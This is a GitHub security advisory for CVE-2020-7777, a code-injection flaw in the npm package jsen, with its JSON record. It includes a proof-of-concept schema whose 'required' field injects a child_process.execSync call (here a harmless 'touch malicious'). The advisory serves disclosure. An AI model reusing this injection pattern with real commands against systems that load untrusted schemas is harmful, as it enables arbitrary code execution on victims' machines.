GHSA-VM64-CFQX-3698

Vulnerability from github – Published: 2022-02-10 20:18 – Updated: 2023-09-11 23:08
VLAI?
Summary
Code Injection in jsen
Details

This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC

const jsen = require('jsen');
let schema = JSON.parse(
{ "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);

const validate = jsen(schema); validate({});
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-14T19:49:04Z",
    "nvd_published_at": "2020-11-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a `Function.apply();`, leading to an Arbitrary Code Execution.\n\n### PoC\n```js\nconst jsen = require(\u0027jsen\u0027);\nlet schema = JSON.parse(\n{ \u0026quot;type\u0026quot;: \u0026quot;object\u0026quot;, \u0026quot;properties\u0026quot;: { \u0026quot;username\u0026quot;: { \u0026quot;type\u0026quot;: \u0026quot;string\u0026quot; } }, \u0026quot;required\u0026quot;: [\u0026quot;\\\\\u0026quot;+process.mainModule.require(\\\u0026#39;child_process\\\u0026#39;).execSync(\\\u0026#39;touch malicious\\\u0026#39;)+\\\\\u0026quot;\u0026quot;] }\n);\n\nconst validate = jsen(schema); validate({});\n```",
  "id": "GHSA-vm64-cfqx-3698",
  "modified": "2023-09-11T23:08:53Z",
  "published": "2022-02-10T20:18:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugventure/jsen/blob/master/lib/jsen.js#L875"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSEN-1014670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in jsen"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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